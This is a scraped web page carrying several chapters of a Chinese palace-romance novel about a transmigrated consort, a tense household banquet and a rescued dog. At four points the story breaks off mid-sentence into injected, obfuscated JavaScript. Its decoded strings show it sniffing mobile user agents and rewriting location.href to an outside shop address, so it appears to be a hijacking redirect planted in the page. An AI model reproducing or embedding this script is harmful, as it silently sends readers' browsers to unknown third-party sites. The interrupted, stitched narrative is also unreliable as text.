四爷没意见,二人便甩开鞭子让马儿跑了起来。 玩闹了一下午,直到太阳西斜,几人这才打算往回走,倒是小阿哥们难得出来放风,一个个都舍不得离开,要不是上头有哥哥们镇着,怕是要玩疯了。 四爷等人将几位小阿哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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好在她有先见之明,上午就吃了许多点心,方才看戏的时候,她的嘴也没闲着,要不是怕面前的盘子空了不好看,她这会儿说不定都吃饱了。 因着不饿,再加上宴席的气氛实在有些凝重,宋时繁便也没怎么下筷子,只不时喝两口摆在自己跟前的汤品。 反倒是四爷不明就里,见一向吃得香的宋时繁都好似没胃口的样子,还以为宋时繁是胆子小,所以被吓到了,这才连饭都不敢吃了。 四爷一边在心里吐槽宋时繁没出息,这点子事就能吓着,一边思索着开了口:“今日福晋操持家宴也是辛苦了,福晋多用一些,你们也是,别辜负了福晋待你们的一番心意。” 四爷这话一出,就像冰面裂了一道口子,气氛总算是有些回春,众人谢过四爷的好意,脸上也都有了笑模样。 福晋暗暗松了口气,心说四爷这是原谅自己的意思了吧,肯定是,方才四爷还夸了她呢。 于是,有些得意忘形的福晋笑着开口道:“爷言重了,这都是奴才应该做的,哪里就担得起一句辛苦,说起来,咱们在这里亲亲热热的,倒是可怜李氏一个人在院子里休养,今日也不能出席,怕是寂寞,便专门派人做了一桌子菜赏给李氏了...” 福晋这话本是想叫四爷知道她的体贴大度,却忘了四爷本就因为李氏跟她生得气,这下可算是又撞上枪口了。 果不其然,四爷面色当即便沉了下来。 52. 故意添堵 福晋这不是诚心在给李格格添堵吗? 李格格现下本就是孕中多思的时候,再加上前些日子又受了大惊吓。 不成想,这会子府中热热闹闹摆起宴席来不说,福晋居然还特特赏下来一桌子菜。 是,说起来是福晋惦记着李格格,有好事儿也没忘了她。 可府里上下谁不知道李格格要静养,福晋却大张旗鼓地赏了菜给她。 要知道古代赏菜那是大恩典,李格格怎么着也得爬起来谢个恩,再挨个儿尝尝菜,最后来一番感念福晋恩德的话才算完。 这一通流程下来,别说李格格这个要静养的病人,就是正常人也累个够呛了,可不就是福晋存了心要折腾李格格吗? 而且,这折腾得还让人有苦说不出,李格格能说福晋赏她菜是对她不好吗?那成什么样了? 宋时繁对此倒是深有体会,她们这位福晋,向来喜欢在这些细碎的小事情上摆弄人,她之前就没少受过这种苦,明面上赏你,背地里总要叫你难受才行。 不光是深受其害的宋时繁看得出来,在场其他人谁也都不是个傻子,尤其是四爷,俨然已经生气了。 “福晋想得倒还真是周到。”四爷冷哼了一声。 福晋被四爷这态度一激,脸上挂不住,也有些委屈了,她是嫡福晋,难不成赏赐一个格格还赏出错来了? “李氏是主子爷心尖上的人,碰不得摸不得的,奴才自然要替主子爷好生照顾着,否则便是奴才这个嫡福晋当得失职了!” 福晋说这话的时候起身跪下了,宋时繁等人也不敢继续坐着了,忙跟福晋一起跪下。 转眼间,就跪下了乌泱乌泱一大片人,四爷看着一个又一个黑黢黢的脑袋顶,心里头有着说不出的烦躁。 “你还知道自己是嫡福晋?那你可知身为嫡福晋身上担着什么责任?” 四爷这话着实是有些重了,简直就差指着福晋的脸说她不配当这个四福晋了。 福晋闻言终于不敢再开口,将头垂了下去。 宋时繁跪在福晋身后,看不清福晋是什么表情,但想必不会好看到哪里去,倒是跪在宋时繁身旁的武格格,闪烁的眼神里流露出一丝疑惑。 是啊,是该疑惑的。 在这样一个小小的后宅,等级如此分明,每个女人都有她该待的位分,而这其中,无疑又是以福晋最为尊贵,是仅次于四爷之下的人。 所以武格格不明白,她不明白福晋为什么不能安安稳稳占着她嫡妻的尊位,在四爷面前表现出一个嫡妻应该有的大方贤惠,然后得到四爷的尊重再生个儿子,这样就能平顺地过完一辈子。 至于跟她们这些妾室争风吃醋?这压根就不该是福晋这个身份应该做出来的事,没得还叫人觉得福晋小家子气。 没错,武格格对福晋的行为是有些嗤之以鼻的,她甚至觉得,若不是因为她的汉军旗出身,四福晋之位她也当得,必然不会像现在的福晋这样,在这种无关紧要的小事上忤逆四爷,平白无故惹四爷生气... 宋时繁却有些理解福晋。 其实,宋时繁能看得出福晋心中的不平,尤其是对上四爷那股子不甘,宋时繁并不觉得奇怪,反而正是因为她瞧出福晋有这种想法,才认为福晋是个正常人呢。 本来也是,凭什么男人就能毫无顾忌地左拥右抱,女人却要遵从那些三从四德的教条呢? 可惜,福晋从小受到的教育又告诉她有这种想法是不对的,女人就该以男人为天,而男人三妻四妾则是为了传宗接代,这都是天经地义的事,所以福晋只有忍耐这一条路可走。 这就导致福晋有时候说话做事别别扭扭的,就好比今天,明明福晋的初衷是想跟四爷和好的,可话里话外总忍不住带刺,四爷那样的人哪受得了这个?两个人可不是就要闹起来。 对此,宋时繁只想说,福晋还是生错了时代,不然这种事情搁在现代那就是夫妻之间吃吃醋拌拌嘴的事,甚至没有其他的女人掺和在其中,二人也许根本就吵不起来。 想到这里,宋时繁只能替福晋叹口气了,毕竟她自己也是个小虾米,这种时候连她说话的份儿都没有,更别提其他的了。 不过,城门失火,殃及池鱼,她的膝盖跪得真地好疼啊!这种动不动就要下跪的日子到底什么时候才是个头啊! 可现在是冬天,她又穿得多,稍微有些小动作旁人应该看不出来吧? 于是,宋时繁想了想,将头垂得更低了,还把背也偷偷弯了下去,自以为已经降低了自己存在感的宋时繁又用手撑住地面。 等了一会儿感觉应该没有被发现以后,只见宋时繁又悄摸地抬起来一只膝盖,过一会又换到另一只膝盖... 就这样,宋时繁一会儿轮换一下,让她可怜的小膝盖平等地得到了休息的机会。 宋时繁自以为此事天衣无缝,确实,如果大家都一样是跪着的,那还真不一定有人能看出端倪来。 可谁叫四爷是站着的呢?底下人什么动作他简直看得不要太清楚。 所以,四爷一眼就看到跪着的人群里,其余人都噤若寒蝉,唯独宋时繁,像个毛毛虫似的正拱来拱去,顿时就感到有些哭笑不得了。 这小格格干嘛呢? 好在,有了宋时繁这样一打岔,虽然她是无心的,可到底也让四爷没那么生气了。 其实四爷自己回过头来想想,福晋比他小了好几岁呢,又是刚嫁进来,性子烈一些也是有的,日后时间长了也许就好了。 思及此,四爷也觉得有些没必要闹得这样难看了,于是便轻咳了一声道:“都起来吧,爷不过是说了一句也值当福晋跪下?” 说罢,还伸手虚虚扶了福晋一把。 这次四爷是真递了个台阶,福晋也知道再闹下去她也落不着好,便顺着四爷的手站了起来,还用帕子擦了擦眼角,语气也终于和婉了下来。 “先前是奴才思虑不周了,惹了爷您生气,多谢爷不怪罪...”言语里倒是再也没提李格格的事了。 四爷见状便拍了拍福晋的手,略表安慰,二人便坐回了位置上,宋时繁等人也终于能起身坐下了。 之后的宴席倒是平静无波了,待四爷放下筷子以后,众人便也纷纷停了手,等喝过一盏茶以后,也就散了。 宋时繁回到自己院子里的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白薇瞧见了便想将来福轰出去,格格愿意养着这小狗已经是发了善心呢,哪儿能再让小狗进屋子,万一不小心咬着了格格怎么办? 宋时繁却挥了挥手,语气不甚在意道:“无妨,不用赶他,叫他认认门也好,知道这里是他的家,以后就丢不了了。” 白薇有些无奈,“那格格您暂时先不要摸它,等养熟了的,别一个不当心被它咬着就不好了。” 宋时繁点了点头,表示知道了,心里却没有太当一回事。 到底是送来皇子府上的狗,肯定都是调教好了的,别说咬人了,怕是连叫都不太敢叫。 这还真是没错,来福胆子确实不大,而且之前差点被人扔进湖里溺死,虽然是只狗可也吓到了,这会子就在门口看了看宋时繁,然后又转头摇着小尾巴出去了。 宋时繁见它摇头晃脑的可爱极了,想了想又跟白薇说:“赶明儿咱们给它做几件小衣服穿吧?肯定很好看” 白薇心说自家格格还真是小孩子心性,想一出是一出的,不过格格高兴,她自然要应声:“那敢情好,箱子里还收着几块格格用不上的布呢,明儿个奴才就给它裁出来。” 宋时繁这才心满意足,将安神茶一口干了,又是好一通洗洗涮涮,才终于把自己收拾妥当,然后舒舒服服躺下了。 53. 今天不请安 许是前一天太累,再加上晚间喝了安神茶的缘故,宋时繁这一觉睡得格外久,醒来的时候,人还有些迷迷瞪瞪的。 若搁在平时,竹苓和白薇应该已经在催促宋时繁起床了,今日倒是不见她们二人的身影,宋时繁也没多想,只当自己醒得早了,便慢慢坐起身来。 实际上,白薇一直守在宋时繁的门外,一听见里头有动静,便估摸着是自家格格醒了,于是开口询问道:“格格您醒了吗?那奴才进来啦?” 宋时繁的声音里还带了些刚刚起床的沙哑:“嗯,起了,这会子什么时辰了?” “回格格的话,已经辰时了。”白薇一边将宋时繁床前的帘子挂了起来,一边回答着宋时繁方才的问题。 宋时繁初初听见已经辰时的时候还有些没反应过来,等在脑子里一换算才发现辰时就是八点左右了。 当即,宋时繁“蹭”得一下就从床上跳了起来,把一旁的白薇吓了一大跳。 “格格您这是怎么了?慢点儿,唉!还没穿鞋呢,格格您小心着凉!” 宋时繁哪里还顾得上这些,要知道她每日去给福晋请安的时辰是六点,也就是卯时,她这会都不能算迟到,那是直接旷请了,也不知道现在麻溜儿地去给福晋请罪还来不来得及... 算了,死马当活马医吧,去肯定还是要去一趟的。 于是,宋时繁忙打开衣柜开始找衣服,就差直接钻进箱子里去找了。 白薇见状忙上前拉住宋时繁:“啊哟格格,这种事儿哪能劳烦您啊,您要穿什么衣服跟奴才说,奴才帮您找...” “那你随便给我找身颜色清淡的,咱们得快点儿了。” 宋时繁这话倒叫白薇一愣:“快点儿去做什么去?” “去正院请罪啊,我这不是起晚了,我跟你说啊白薇,这种时候还是自己上门认错比较好,等别人找上门来那就惨了...” 说到这里白薇才总算搞明白自家格格一起床就一惊一乍的是在干嘛。 思及此,白薇笑了笑,扶着宋时繁坐下。 口里安抚宋时繁道:“瞧奴才这记性,方才忘记告诉格格了,今儿一大早,正院就派人来,说是福晋被德妃娘娘传去觐见了,所以啊,早上的请安就给免了,奴才又想着格格昨天累坏了,既然早晨没什么事就没叫格格起来了,不承想竟然吓着格格了,奴才该罚。” “原是这么回事啊!” 宋时繁闻言愣了一下,随即便松了口气,一睁眼就悬在她心上的那块大石头才算是落下,过后就只剩下轻松了,她这会子的心情就好比起床起晚了然后突然发现今天是周末本来就不用起床一样微妙。 想到这里,宋时繁又高兴起来,所以当白薇问她要不要继续睡会儿的时候,宋时繁摇了摇头,刚刚这么折腾一圈下来,困意早就没了,而且宋时繁这会子心情好,干脆打算找点事情做。 “睡就不睡了,我倒是有些饿了,有吃的没有?”宋时繁有些不好意思地问白薇。 “格格您先洗漱,早膳都预备下了,奴才这就让他们去传。”说完,白薇就出门换了竹苓进来伺候宋时繁,她自己则去替宋时繁安排早膳了。 宋时繁琢磨着反正今天不用出门了,关起门来在自己院子里怎么着不行呀? 于是她便随意套了一件家常的旗装在外头,又嫌梳头发麻烦,只拿出一根发簪挽了个螺髻,发髻上头也没插首饰,主打一个简单方便。 这边,宋时繁刚收拾好,膳食也摆上桌了。 宋时繁早饿了,当下,先就着鸡汤吃了两个烧卖,然后才盛了一碗粥慢慢喝。 说起来,宋时繁的饭量并不算小,成为宋格格以后,日日被关在这小院子里,一天天除了吃也没别的事可干,而且由于她还奶着大格格,她这边的伙食是四爷特意嘱咐过的,营养又丰盛。 但不知为何,宋时繁就是一点儿也不长肉。 这若是搁在现代,宋时繁肯定很高兴,毕竟光吃不胖是每个女孩子的梦想。 可现在是古代,更别说宋时繁还是个刚生完孩子没几个月的人,却仍旧瘦得跟纸片一样,风一吹就要倒。 这样下去可不行,要知道,古代一个风寒搞不好都能要人性命,她这身无二两肉的,抵抗力肯定比不上旁人。 不过,宋时繁觉得,原先的宋氏应该是运动太少,再加上本身消化吸收不好,这才一副营养不良的样子。 所以,宋时繁决定从今天开始,她每天上午都要在院子里活动活动,争取以后每顿能再多吃两碗饭! 心中立下鸿鹄壮志的宋时繁,吃得更香了,一个不留神,就把自己给吃撑了。 这下,打算运动一下的计划也行不通了,只得先消消食再说。 白薇见自家格格撑得难受,便问:“不若奴才去膳房给格格您要一碗消食汤来?或者,奴才去给您用砂仁泡点水喝?” 宋时繁忙摆摆手:“可别,我现在胀得什么也喝不下去了。”声音听起来都有气无力的。 白薇闻言有些焦急,这要是积了食,再坏了胃口可不是小事。 “那怎么办,不然请府医来瞧瞧?” 宋时繁仍是摆手:“福晋不在,咱们还是别折腾了,我没事儿,就是方才饿了,所以吃得太急了,这才顶着了...” 竹苓想了想道:“前些日子,李格格那边说是想吃酸的,所以府里进了一批山楂果子,咱们这儿也得了一小框,不过当时格格尝了过后觉得酸,奴才便收起来了,打算等以后给格格泡水喝,格格若是不嫌弃,奴才就去洗一些山楂果子来,格格您嚼几个,那东西也能消食呢。” 宋时繁一听这主意好,忙让竹苓快去:“这个好,山楂果子吃下去也不占胃,正好!” 竹苓便依言下去了,不多会儿,就见她捧着一小碟子山楂回来了。 山楂果红艳艳的,上头还有些水珠子,瞧着就喜人,宋时繁用手指捻起一个放进嘴里,当下便被酸了一个激灵。 吃了两个以后,实在太酸,宋时繁不想吃了,便起身打算在院子里走走。 宋时繁刚一出屋子,来福就扭着小屁股跑过来了,宋时繁便逗起小狗来,玩得不亦乐乎。 “来福晚上都住哪儿呀?” 曹三宝上前答道:“回格格话,来福晚上就在您住得屋子边上空着的耳房里睡觉。” “那也是,怪我了,光说要养它,倒是忘记给他正经准备个地方,既然这会子没事,咱们好好帮着来福拾掇拾掇,让它住也住得舒服些,府上哪里能找到木板之类的东西?我想给来福做个狗窝。” 石桥闻言思索片刻后道:“格格想要木板容易,奴才去杂物所要一些来就是了,只是...恕奴才多嘴,要奴才说,何必那么麻烦,直接让杂物所的人给咱们做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496019|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个狗窝来就是,倒省去许多功夫了...” 宋时繁心说原来还能让人直接给做好送来啊,怪她还没习惯皇子府的生活,光想着自己动手了。 “你这话说得也是,那让你白薇姐姐多给你些银子,你去杂物所让他们给来福做个大一点的,漂亮点儿的狗窝回来。” “格格您放心,奴才保证把这事儿办好了。”石桥正愁没机会在宋时繁面前表现自己呢,当即便应下此事,还跟宋时繁打起了包票来。 白薇见宋时繁兴致好,便提议道:“既然有了狗窝,不如再给来福预备些垫子,等狗窝回来了,垫在里头,也让来福睡得暖和些,对了,格格昨个儿不是还想给来福做衣服吗?” 宋时繁闻言脸上荡出一个笑来:“是呢,差点忘了,快,咱们现在就裁布。” 正好上午天气不错,白薇和竹苓便将做绣活的东西全都搬到了院子里的石桌子上,还让曹三宝和赖世兴搬了两个火盆子放在旁边取暖。 宋时繁见状也凑上去。 “你们俩谁的绣活更好呀?”宋时繁饶有兴趣地问道。 白薇道:“奴才手粗,只能帮着量量尺寸裁裁布什么的,竹苓绣活更好。” 竹苓听白薇夸她,腼腆一笑:“白薇姐姐哪儿的话,做几个垫子什么的也不需要多好的绣活,只管缝起来就是了...格格您别听白薇姐姐瞎说。” 白薇却瞪大了眼睛,对宋时繁道:“奴才可没瞎说,格格您不知道,您的好些贴身衣服都是竹苓给您做的呢。” “是吗?这我却是不知道的,不过竹苓平时都在我身边,我也没见过你摆弄针线,你哪儿来得功夫做绣活?” “格格这话问到点子上了,她呀,晚上回了房,就开始点灯熬油地给格格您做衣服呢,常常一熬就是大半宿,有时候奴才起夜,还能瞧见她在做活呢。”白薇有心帮着竹苓表忠。 宋时繁一听却有些不高兴了:“竹苓你若是这样糟蹋自己的眼睛,那你做的衣裳我宁可不穿了。” 竹苓没想到宋时繁会因为这个生气,白薇本也是想叫宋时繁知道竹苓的好,并不是想惹宋时繁生气,当下也有些无措。 只听竹苓急忙解释道:“格格您待奴才好,奴才无以为报才...这些都不值当什么,格格您千万别因此气坏了身子。” 宋时繁叹了一口气,“唉,不是不让你做,我也知道你的心,只是我一个不做绣活的都知道做这个伤眼睛,你还成宿成宿得做,你这眼睛不想要了?”宋时繁说罢,还点了点竹苓的额头。 “那奴才以后白天找功夫做,格格您别生气了。” “这才是呢,我倒不是心疼你,我是可惜我那灯油,不知道被你熬去多少了...我可说了啊,以后谁都不许夜里做活,甭管什么活儿都不行,晚上是睡觉的知道吗?谁也不许浪费我的油灯!” 宋时繁故作严厉,嘴上说得小气,实际上,她对待身边人一向很大方。 而白薇和竹苓同宋时繁相处了那么久,也知道自家格格实际上是在心疼她们,当即相视一笑,将宋时繁按到了石墩子上。 “知道了知道了,格格您快坐下吧!奴才们保证以后晚上都不点灯了,绝不浪费灯油!” 宋时繁见状也笑了,知道她们把话都听进去了,也不纠结,而是拉着竹苓道:“竹苓你教教我,我也想给来福做个小衣服...” 54. 大作 宋时繁从前根本没碰过什么绣活,她也不知道原身会不会这些,不过,宋时繁管不了这么多了。 毕竟一个人到底会哪些东西是没办法伪装的,可她总不能一辈子就寻着宋氏的影子过日子吧? 好在,白薇并非从小就跟在宋氏身边,而是宋氏跟着四爷从阿哥所搬到府里的时候,才从外头采买进来,然后分到宋氏这里来的,跟着宋氏的时间不算太长。 而且就宋时繁目前的观察来看,白薇丝毫没有察觉到异样,宋时繁觉得自己还是很幸运的。 至于竹苓,宋时繁就更不用担心了,竹苓是在宋时繁来了以后才跟着宋时繁的,所以她根本不怕露馅。 于是,宋时繁这会子就大胆地在二人面前展现她精湛的刺绣技术。 没错,确实很精湛,只是将两片布缝在一起都能被宋时繁缝得歪七扭八的,一般人还真没有这种惊天地泣鬼神的水平。 宋时繁自己看着都觉得不好意思,“咳咳,我从前不会这些,所以...” “格格已经缝得很好了!” 竹苓伸手接过宋时繁缝起来的布袋子笑了笑,接着往里头塞了些棉花,铺平整后,又捻起一根银针,引着线穿过去打了个结,再用针尖轻轻擦了下头皮,然后便拿着银针开始上下翻飞。 很快,一个小小的狗垫子就被竹苓缝好了,针脚细密如丝,足可见其心灵手巧。 竹苓看了看犹觉得不够,便将狗垫子举起来给宋时繁瞧,“格格,您说要不要再绣点花样子在上头?奴才瞧着光是这样也太单调了些。” “这个主意好,不过普通的花样子没什么意思...唉有了,竹苓,我若是画出图来,你能照着样子绣吗?” 竹苓想了想道:“若是不难的话,奴才可以一试。” 宋时繁一听就笑了:“不难,太复杂的我也不会画,你们等着我啊!” 说罢,宋时繁便跑到里屋的书桌旁边。 这书桌还是当初四爷来的时候置办的,不过,除了那会子宋时繁被福晋罚抄经书的时候用了一段时间,倒是已经空置很久了。 宋时繁忽然就想到她还答应了四爷要好好练字来着,不禁暗自吐了吐舌头,看来,之后没事的时候还是应该践行一下她曾经的承诺,不然显得她这个人不讲诚信。 不过,现在不是计较这些的时候,眼下,宋时繁一心只想着要给来福设计出个独特的花样子来。 思索片刻后,宋时繁提笔开始在纸上涂涂抹抹,还作废了几张纸。 等终于画出宋时繁满意的样子时,宋时繁才将纸举起来吹了吹,待墨水干透,就拿着她的大作出去给竹苓和白薇瞧。 “竹苓你看,这样的能不能绣出来?” 竹苓接过纸张,仔细一瞧就笑了。 只见纸面上画着一个用线条勾勒出来的小京巴犬,虽然十分潦草,但能看出来宋时繁画的是来福,别说,不仔细看还是有些微传神的。 但只要是自家格格画的,甭管好不好,竹苓一概都是无脑吹,“格格画得真好。” 叫竹苓一夸,宋时繁却有点不好意思了,她自己清楚,这画就是个幼儿园水准的简笔画,算不得什么好,甚至都不能称作为画,最多是个随笔涂鸦。 好在竹苓说能绣出来,这就行了。 没一会儿,一个小京巴狗的图案就被绣在了垫子上,竹苓还特意在垫子的正反两面都分别绣上了小狗。 不得不说,经过竹苓的一双巧手,垫子上绣的小京巴狗栩栩如生,活灵活现的,瞧着倒是十分生动有趣。 三人又折腾好一会儿,除了狗垫子,还给来福缝出来几件小衣裳,均选了鲜亮颜色的布料,竹苓又在每一件小衣服上都绣了宋时繁画的小京巴狗。 “三宝子,快把来福抱过来,叫它试试新衣裳合不合身!”宋时繁面上笑吟吟的,兴致勃勃冲着曹三宝喊道。 曹三宝忙应声去抱狗:“你这名字可真没取错,瞧咱们格格给你做了新衣服呢...” 等给来福套上小衣服后,仿佛知道自己穿上新衣裳的来福,抖了抖脖子,尾巴翘得高高的,像个昂首挺胸的小将军,绕着宋时繁走了好几圈,就跟在显摆似的。 宋时繁越看越喜欢,便蹲下去伸手摸了两把小来福,小来福也乖巧,抻着头老老实实让宋时繁摸。 “格格,您小心着点儿!”白薇见状有些担心,生怕来福忽然给宋时繁一口。 宋时繁不在意道:“没事儿,也养了好几天了,小狗都是有灵性的,认主可快了呢,不会咬咱们的。” 说到这里,宋时繁眼珠子一转,竟直接将来福抱起来举到白薇面前。 “你瞧,咱们小来福乖着呢!你也抱抱它吧?” 不承想,白薇虽然不敢躲,但仍是被吓到了,只见她的脸“刷”一下就白了,连眼睛都快不会眨了。 “原是你怕狗,我不知道,你怎么不早点儿告诉我,吓着了吧?”宋时繁忙把狗往自己怀里抱回来。 白薇心有余悸地抚了抚胸口,“不瞒格格说,奴才小时候跟着哥哥要饭的时候,被狗追过,自此便落下一个怕狗的毛病来,格格您别见怪...” 宋时繁摆了摆手:“这怎么能叫毛病呢,我更不会怪你,人人都有害怕的东西,这多正常呀,没事,往后不叫来福往你跟前凑就是了。” 白薇抿了抿唇,想说什么,最后什么也没说出来,只冲着宋时繁行了一礼:“多谢格格。” 宋时繁却道:“好好的,怎么又这样?快起来,谁叫你行礼了!” 说罢,抱着来福往旁边去了,嘴里还叨叨咕咕地:“小来福,以后可别到你白薇姐姐跟前啊,你白薇姐姐胆小,回头再吓着她,要听话知道吗...” 白薇看着宋时繁的背影,真心觉得自己跟了一个好主子,毕竟旁的主子可不会管你怕什么不怕什么,都当了奴才,主子若是真吩咐下来了,你能同主子说你害怕不想干吗? 白薇不知道宋时繁这叫什么,她嘴笨也说不出什么好听话来,但她知道,她该一辈子对宋时繁好。 忙活一上午,眼见着时间已将近午时,白薇便上前问宋时繁午膳预备吃什么,没想到,这个时候,四爷居然来了。 四爷一大早就出府了,直忙到晌午才回,原打算叫前院膳房伺候着,随意吃两口就得了,却不妨四爷忽然想起宋时繁来,既想到了,四爷也不委屈自己,带着苏培盛又转到宋时繁这里来了。 也是巧了,正赶上宋时繁还没用午膳,两人便一起用了。 今日,还是宋时繁点膳。 宋时繁这段时间算是瞧明白了,四爷虽然也重规矩,可许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509784|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为她身份上就是个格格,在四爷眼里还算不上个儿,所以只要不是什么太大的事情上,四爷对她还是挺随意的。 总的来说,就是小事情上,哪怕宋时繁有些错处,四爷也不稀得跟她计较。 想到这里,宋时繁也不客气,便在点膳的时候选了自己想吃的面条。 “让膳房弄个羊肉汤面吧,做成清汤的就成。” 她方才就想着这一口呢,没得因为四爷来了就不吃了的道理,而且既然四爷不计较,就陪她吃顿面条吧。 苏培盛犹自有些不敢相信,心说这宋格格怎么不开窍呢?主子爷都来了哪能光吃面条啊! 于是,他便提点了宋时繁一句:“宋格格,您要不再琢磨琢磨还有没有什么其他想吃的?” 宋时繁听懂了苏培盛的话,但她早上吃得太多了,这会子就想来上两口汤汤水水的。 “我一时想不到别的了,要不...就先这样吧?” 得,宋时繁当成下馆子点菜了。 不过,宋时繁都这么说了,苏培盛还能怎么着?就只得将原话带去给膳房了。 膳房听了也是一懵,这是闹哪出呢?主子爷的膳食可从来没有这么简单过呀... 一众人面面相觑,最后还是膳房总管听说了此事,一拍板道:“那就都上,羊汤好好做,其余的主子没点,咱们按着规格上吧!” 众人这才算有了主心骨,纷纷忙碌起来了。 倒是等膳的功夫,四爷发现了宋时繁画的大作。 四爷来得突然,这些东西原本就摊在院子里的石桌子上没收拾呢,可不就给四爷瞧了个正着。 宋时繁见四爷看着那张画憋不住笑的模样,脸都红了。 这是明晃晃的嘲笑! 终于,四爷憋不住了,问道:“这谁画的?” 宋时繁很不想回答,但没办法。 “回四爷,是奴才...”说完,宋时繁羞耻地低下了头。 “这画得倒是...挺有趣的。”没错,四爷想了半天,才想到一个既不伤了宋时繁面子,又不违背自己良心的形容词。 宋时繁闻言也顾不上什么尊卑了,上手就从四爷手里将画抢了过来,团吧团吧塞进了袖筒子里。 “本来就是随便画的一个花样子,四爷别看了。” 开玩笑,她不要面子的吗?居然这么笑话她! 可宋时繁忘了,她已经让竹苓将她的大作绣出来了,这会子正穿在来福的身上呢。 只见来福还在得瑟它的新衣服,发现院子里来了人,扭着小屁股就出来展示。 宋时繁都想捂着脸遁逃了,方才怎么没想到绣出来会这么丢人,而且这四爷早不来晚不来,为什么偏偏这个时候来,怕不是专门来笑话她的吧? 宋时繁还想挣扎,拼命使眼色让来福快走,可惜,来福再有灵性也看不懂人的眼神,仍在四爷面前跳来跳去。 就听四爷轻笑了一声道:“你倒是有心思,原是画了来当绣样子的。” “昂...就随便...随便画画...画着玩...”果然,人在尴尬的时候会语无伦次。 这边,宋时繁正结结巴巴想解释呢,不料,四爷却又提起一事来:“不过,你这狗是哪儿来的?” 天,差点把这茬儿给忘了! 55. 小格格真好看 既然四爷问了,宋时繁就不能隐瞒,而且也确实该给来福在四爷面前过一下明路,否则日后免不了是个祸患。 打定主意后,宋时繁才开口:“回四爷的话,这狗是奴才捡来的。” 四爷闻言眉心动了动,扫了宋时繁一眼,反问道:“捡来的?” 随即,四爷又极快地笑了一下:“爷竟不知,爷这府上竟还能捡到狗。” 这话叫宋时繁有些摸不清四爷的态度,不过就目前看来,四爷应该还不至于动怒,那就是好事。 思及此,宋时繁在脑海里组织了一下语言,慢吞吞解释道:“是呢,那天...奴才瞧着这小狗可怜兮兮的在那儿,还差点被扔进湖里,一时不忍心就把它捡回来了。” 听宋时繁这么一说,四爷也就明白了。 平白无故地,不会将狗往湖里丢,再简单一联想,四爷就知道这狗便是当初在安氏身边,那条惹了祸事,还差点伤了李氏的狗。 想到这里,四爷意味不明地看了宋时繁一眼。 “它倒是好福气。” 不怪乎四爷心里有疑惑。 安氏那件事因为有福晋的手笔掺和在其中,所以几乎可以算是草草了结了,这背后到底还有谁参与了,四爷当时没查,就是不想深究的意思。 可眼下,却由不得四爷不怀疑了:宋氏这一出到底是何意? 另一边,四爷这话说得让宋时繁有些不知道怎么接,她也意识到四爷许是怀疑她了,其实当初留下来福的时候就想到后果了,却没想到四爷的怀疑来得这样快。 可这种事又不能直接解释,不然本来没做过的事,要是宋时繁着急忙慌地解释,反而显得此地无银三百两了。 宋时繁思来想去,最后一狠心,便伸出手抓住了四爷的袍子角。 “四爷,奴才是不是做错了...”说罢,还特特抬头看了四爷一眼,就一眼,然后又飞快地低下了头。 宋时繁也不知道这样有没有用,她从前没做过这种事,可事已至此,好歹试一试。 不承想,四爷居然还挺吃这一套,见宋时繁怯生生地将他望着,第一个反应就是小格格这么可怜,自己怎么能怀疑她? 不得不说,四爷还挺会自我攻略的... 好在这一打岔,倒是给四爷留下了思考的时间。 其实都不用仔细想,略一思索,四爷就想通了其中的关窍。 毕竟若那件事宋时繁真真儿参与了,那当日就不会牵扯到她,如今她更是不必将狗带在身边,这不是明摆着叫人怀疑她吗? 约莫小格格就是心善吧?看见了便心生怜悯。 也是,本就是后院倾轧,与狗又有什么妨碍?四爷如是想道,心里的那点子怀疑早就不翼而飞了。 说起来,四爷其实也是个喜欢狗的,之前住在宫里头的阿哥所里他没法养,现下他自己开了府,倒还真可以让人选几只好的送进来。 恰巧这时,来福忽然用头蹭了蹭四爷的脚,然后顺势一滚,就这样毫不羞耻地把肚皮展现给四爷看,一张狗脸上写满了“快来摸我”四个大字。 把宋时繁看得一愣,心说早知道来福如此有眼色,她方才简直是白白出卖色相了,应该让这狗来的。 嗯,宋时繁忽然脑补到了小来福用美人计□□四爷的情形,眉毛忍不住跳了跳,没眼看,真是没眼看。 没想到,四爷确确实实被来福萌到了,竟真地蹲下去撸了两把狗,只见四爷手上动作轻柔,把来福摸舒服了,来福一高兴,又给四爷打了几个滚。 看来历史诚不欺她,宋时繁也不记得在哪里看到说雍正帝喜欢狗,之前还觉得皇帝应该不会有这么亲民的爱好,没想到居然是真的。 宋时繁不禁觉着有些好笑,嗯,她是亲眼见过雍正帝撸狗的人了,不过,跟普通人好笑也没什么两样嘛? 而苏培盛自小跟着四爷,自然知道四爷心里头喜欢狗,这会子就没有什么特别的反应。 